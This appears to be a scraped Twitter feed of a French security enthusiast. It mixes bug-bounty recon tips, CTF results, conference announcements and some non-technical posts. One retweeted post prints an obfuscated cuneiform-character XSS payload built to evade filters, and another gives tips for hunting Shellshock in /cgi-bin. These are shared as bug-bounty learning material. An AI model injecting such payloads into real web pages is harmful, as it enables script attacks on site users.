Sébastien MARCHAL

CyberSecurity enthusiast

[Sébastien MARCHAL @0x_Seb]

@FlixBus_FR Vos agents de support qui mentent ouvertement pour ne pas rembourser des clients on en parle ? Vous allez faire quelque chose pour mon remboursement ?

[Intigriti @intigriti]

7 awesome @Burp_Suite Extensions that will help you identify more vulnerabilities 🧵👇

[Mohsin Khan @tabaahi_]

So many beginners ask what to do after finding subdomains 🧵
1. Do directory search
2. Do Github dork
3. Do google dork
4. FUZZ for params
5. FUZZ for vhosts
6. Find Wayback data (gau, waybackurl)
7. Find javascript files
1/n

[Sébastien MARCHAL @0x_Seb]

@Jhaddix Not tech but so zen :
https://t.co/80ieZfIkUl

[JS0N Haddix @Jhaddix]

Another long (hacker) story thread 🧵

= Stealing checks worth millions & pwning a bank =

Here’s how I did it, so you can learn.

I was once contracted to do a penetration test on a bank…

Like, retweet, and follow for more hacker stories!

(1/x)

[Sébastien MARCHAL @0x_Seb]

@gf_256 @_nightmared @0b11stan hehe

[Léαlinux 🐧 @lea_linux]

Quand même drôle toutes ces personnes manifestant ce weekend contre "la surveillance généralisée"...

Bizarrement, on ne les a jamais vu dans nos manifestations contre la Loi Renseignement et son extension récente, contre la surveillance de masse et contre la LOPPSI à son époque.

[kernelcon @_kernelcon_]

@_johnhammond taking on a challenge from @samykamkar and @mattaustin

#HackLive
https://t.co/aHTnRrDtjl

[Sébastien MARCHAL @0x_Seb]

@SecuriTeam_SSD Let's do this !

[SSD Secure Disclosure @SecuriTeam_SSD]

We are super excited to have reached 10,000 followers and to celebrate, we're giving away 10 custom SSD hoodies that will get you through winter in style! 🥳

To enter just retweet and leave a comment on this post.

[Sébastien MARCHAL @0x_Seb]

@intigriti whoami

[John Hammond @_JohnHammond]

If you see a /cgi-bin directory on a webserver, don't forget to gobuster inside that directory looking for extensions like .sh, .cgi, (and even .py, .pl, or more).... you might be able to find a Shellshock vulnerability. That bug is... still around...

[John Hammond @_JohnHammond]

I mean I do like rustscan, not gonna lie. When will ALL of our daily tools be ported to rust??

[Edward Snowden @Snowden]

Facebook officially silences the President of the United States. For better or worse, this will be remembered as a turning point in the battle for control over digital speech.

[Sébastien MARCHAL @0x_Seb]

@code_byter Add a little ngrok and you have a self hosted temporary alternative to requestbin

[Lütfü Mert Ceylan @lutfumertceylan]

an XSS payload, Cuneiform-alphabet based

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

#bugbounty #bugbountytips #cybersecurity

[SquareCTF @SquareCTF]

https://t.co/bd8Sar427C this year starts on 11/13/2020 17:00 EST and runs for 24 hours

[Sébastien MARCHAL @0x_Seb]

With @0b11stan , we placed 72nd out of 750 teams at the SunshineCTF 2020!

Our first reverse engineering oriented CTF, so proud to be in the top 100 teams !

#CTF #ReverseEngineering #assemblylanguage #infosec

[Ben Sadeghipour @NahamSec]

Here's 7 hours of 🔥 content from #VirSecCon2020 on hacking, web, Android, iOS, recon, bug bounty, OSCP/OSCE by @stokfredrik, @TomNomNom, @ChloeMessdaghi, @B3nac, @dawnisabel, @niden, @zseano, @d0nutptr, @ethicalhacker, @uraniumhacker, and @erbbysam.

🎥https://t.co/WFOEJ8s6Wr

[Sébastien MARCHAL @0x_Seb]

@0b11stan

[Ben Sadeghipour @NahamSec]

We are officially a little less than a week away from #VirSecCon2020! Here's the registration/schedule with talks from @stokfredrik, @Jhaddix, @TomNomNom, @zseano, @dawnisabel, @ethicalhacker, @niden, @B3nac, @uraniumhacker, @ChloeMessdaghi, & @erbbysam! https://t.co/0UPjgGGIfg